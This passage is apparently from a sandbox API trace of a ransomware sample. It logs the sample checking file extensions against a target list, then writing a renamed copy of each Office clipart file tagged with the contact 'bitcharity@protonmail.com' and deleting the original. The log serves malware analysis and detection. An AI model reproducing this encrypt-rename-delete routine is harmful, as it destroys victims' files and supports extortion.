4 [0289.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.078] lstrlenW (lpString=".rar") returned 4 [0289.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString=".bz2") returned 4 [0289.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString=".7z") returned 3 [0289.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.078] lstrlenW (lpString=".dbf") returned 4 [0289.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.078] lstrlenW (lpString=".1cd") returned 4 [0289.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.078] lstrlenW (lpString=".jpg") returned 4 [0289.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.078] lstrlenW (lpString=".doc") returned 4 [0289.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString=".docx") returned 5 [0289.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.078] lstrlenW (lpString=".pdf") returned 4 [0289.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString=".xls") returned 4 [0289.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.078] lstrlenW (lpString=".xlsx") returned 5 [0289.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.078] lstrlenW (lpString=".ppt") returned 4 [0289.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.078] lstrlenW (lpString=".zip") returned 4 [0289.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.078] lstrlenW (lpString=".rar") returned 4 [0289.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.079] lstrlenW (lpString=".bz2") returned 4 [0289.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.079] lstrlenW (lpString=".7z") returned 3 [0289.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.079] lstrlenW (lpString=".dbf") returned 4 [0289.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.079] lstrlenW (lpString=".1cd") returned 4 [0289.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.079] lstrlenW (lpString=".jpg") returned 4 [0289.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.079] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.079] lstrlenW (lpString="BS01636_.WMF") returned 12 [0289.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.079] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1874) returned 1 [0289.079] CloseHandle (hObject=0x10a8) returned 1 [0289.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0289.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.080] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.080] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.080] GetLastError () returned 0x0 [0289.080] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x752, lpOverlapped=0x0) returned 1 [0289.081] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x760, lpOverlapped=0x0) returned 1 [0289.082] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.082] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.082] SetEndOfFile (hFile=0x1098) returned 1 [0289.083] CloseHandle (hObject=0x1098) returned 1 [0289.083] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.083] SetEndOfFile (hFile=0x10a8) returned 1 [0289.083] CloseHandle (hObject=0x10a8) returned 1 [0289.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0289.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.084] lstrlenW (lpString=".doc") returned 4 [0289.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.084] lstrlenW (lpString=".docx") returned 5 [0289.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.084] lstrlenW (lpString=".pdf") returned 4 [0289.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.084] lstrlenW (lpString=".xls") returned 4 [0289.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.084] lstrlenW (lpString=".xlsx") returned 5 [0289.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.084] lstrlenW (lpString=".ppt") returned 4 [0289.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.084] lstrlenW (lpString=".zip") returned 4 [0289.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.085] lstrlenW (lpString=".rar") returned 4 [0289.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString=".bz2") returned 4 [0289.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString=".7z") returned 3 [0289.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.085] lstrlenW (lpString=".dbf") returned 4 [0289.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.085] lstrlenW (lpString=".1cd") returned 4 [0289.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.085] lstrlenW (lpString=".jpg") returned 4 [0289.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.085] lstrlenW (lpString=".doc") returned 4 [0289.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString=".docx") returned 5 [0289.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.085] lstrlenW (lpString=".pdf") returned 4 [0289.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString=".xls") returned 4 [0289.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.085] lstrlenW (lpString=".xlsx") returned 5 [0289.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.085] lstrlenW (lpString=".ppt") returned 4 [0289.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.086] lstrlenW (lpString=".zip") returned 4 [0289.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.086] lstrlenW (lpString=".rar") returned 4 [0289.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.086] lstrlenW (lpString=".bz2") returned 4 [0289.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.086] lstrlenW (lpString=".7z") returned 3 [0289.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.086] lstrlenW (lpString=".dbf") returned 4 [0289.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.086] lstrlenW (lpString=".1cd") returned 4 [0289.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0289.086] lstrlenW (lpString=".jpg") returned 4 [0289.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.086] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.086] lstrlenW (lpString="BS01637_.WMF") returned 12 [0289.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.087] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3948) returned 1 [0289.087] CloseHandle (hObject=0x10a8) returned 1 [0289.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0289.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.087] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.087] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.087] GetLastError () returned 0x0 [0289.087] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xf6c, lpOverlapped=0x0) returned 1 [0289.175] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xf70, lpOverlapped=0x0) returned 1 [0289.176] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.176] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.176] SetEndOfFile (hFile=0x1098) returned 1 [0289.177] CloseHandle (hObject=0x1098) returned 1 [0289.177] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.177] SetEndOfFile (hFile=0x10a8) returned 1 [0289.178] CloseHandle (hObject=0x10a8) returned 1 [0289.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0289.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.178] lstrlenW (lpString=".doc") returned 4 [0289.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.178] lstrlenW (lpString=".docx") returned 5 [0289.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.178] lstrlenW (lpString=".pdf") returned 4 [0289.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.178] lstrlenW (lpString=".xls") returned 4 [0289.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.178] lstrlenW (lpString=".xlsx") returned 5 [0289.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.178] lstrlenW (lpString=".ppt") returned 4 [0289.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.178] lstrlenW (lpString=".zip") returned 4 [0289.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.178] lstrlenW (lpString=".rar") returned 4 [0289.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString=".bz2") returned 4 [0289.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString=".7z") returned 3 [0289.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.179] lstrlenW (lpString=".dbf") returned 4 [0289.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.179] lstrlenW (lpString=".1cd") returned 4 [0289.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.179] lstrlenW (lpString=".jpg") returned 4 [0289.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.179] lstrlenW (lpString=".doc") returned 4 [0289.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString=".docx") returned 5 [0289.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.179] lstrlenW (lpString=".pdf") returned 4 [0289.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString=".xls") returned 4 [0289.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.179] lstrlenW (lpString=".xlsx") returned 5 [0289.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.179] lstrlenW (lpString=".ppt") returned 4 [0289.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.179] lstrlenW (lpString=".zip") returned 4 [0289.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.179] lstrlenW (lpString=".rar") returned 4 [0289.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.180] lstrlenW (lpString=".bz2") returned 4 [0289.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.180] lstrlenW (lpString=".7z") returned 3 [0289.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.180] lstrlenW (lpString=".dbf") returned 4 [0289.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.180] lstrlenW (lpString=".1cd") returned 4 [0289.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0289.180] lstrlenW (lpString=".jpg") returned 4 [0289.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.180] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.180] lstrlenW (lpString="BS01639_.WMF") returned 12 [0289.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.180] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=4236) returned 1 [0289.181] CloseHandle (hObject=0x10a8) returned 1 [0289.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0289.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.181] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.181] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.181] GetLastError () returned 0x0 [0289.181] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x108c, lpOverlapped=0x0) returned 1 [0289.227] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x1090, lpOverlapped=0x0) returned 1 [0289.228] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.228] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.228] SetEndOfFile (hFile=0x1098) returned 1 [0289.228] CloseHandle (hObject=0x1098) returned 1 [0289.228] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.228] SetEndOfFile (hFile=0x10a8) returned 1 [0289.229] CloseHandle (hObject=0x10a8) returned 1 [0289.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString=".doc") returned 4 [0289.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString=".docx") returned 5 [0289.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.230] lstrlenW (lpString=".pdf") returned 4 [0289.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString=".xls") returned 4 [0289.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.230] lstrlenW (lpString=".xlsx") returned 5 [0289.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.230] lstrlenW (lpString=".ppt") returned 4 [0289.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString=".zip") returned 4 [0289.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.230] lstrlenW (lpString=".rar") returned 4 [0289.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString=".bz2") returned 4 [0289.230] lstrcmpiW (lpString1=".bz2", 